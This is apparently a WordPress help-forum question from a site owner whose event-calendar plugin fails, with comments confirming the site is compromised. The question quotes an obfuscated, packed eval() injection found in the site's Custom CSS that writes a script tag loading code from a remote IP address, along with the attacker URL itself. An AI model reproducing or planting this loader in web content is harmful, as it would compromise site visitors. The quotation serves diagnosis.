1

The eventON event listing plugin causes our website to crash when switching between months. The browser indicates that it is trying to load the site, but nothing ever appears. The plugin is inserted using this shortcode: [add_eventon_list show_limit="yes" event_count="10" hide_past="yes" event_type="1082" accord="yes" ]. The AJAX request through WordPress returns a 200 response, so the script seems to have worked. The AJAX function's URL seems to be what is causing the issue. I have reviewed the plugin's register and localize script code, but nothing is standing out to me. No other JavaScript errors are being displayed in the console.

Website: https://www.todayville.com

wp_register_script('evcal_ajax_handle', $eventon->assets_path. 'js/eventon_script.js', array('jquery'), $eventon->version ,true );
wp_localize_script( 
    'evcal_ajax_handle', 
    'the_ajax_script', 
        array( 
            'ajaxurl' => admin_url( 'admin-ajax.php' ) , 
            'postnonce' => wp_create_nonce( 'eventon_nonce' )
        )
);

Firefox console:

  • SyntaxError: identifier starts immediately after numeric literal
  • Blocked loading mixed active content http://5.45.67.97/1/jquery.js.php

I understand that this may be a mixed content issue as our website is HTTPS, but other child sites using the same code via WP Network on the same domain are working with no errors. I am not sure why browsers are using an IP address to load jQuery via a PHP script.

This is the offending code as highlighted by Sucuri:

Welcome eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|andfs|var|u0026u|referrer|hseaf||js|php'.split('|'),0,{}))

to Custom CSS!

I have tried using find and grep commands to find the offending code using SSH, but so far no luck. Does anyone have suggestions for tracking down this type of hack?

Chrome console:

  • Uncaught SyntaxError: Invalid or unexpected token
  • http://5.45.67.97/1/jquery.js.php is a compromising script. If this is being loaded on your site, your site has been compromised with malicious code. – MikeNGarrett May 7 '19 at 17:24
  • @MikeNGarrett Thanks. What would be the best plan of attack to track it down and remove? Cheers. – Mike Hermary May 7 '19 at 17:46
  • Get in touch with a WordPress security specialist. I'm sorry to give a vague answer, but this subject is not covered in this community. – MikeNGarrett May 7 '19 at 17:54

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.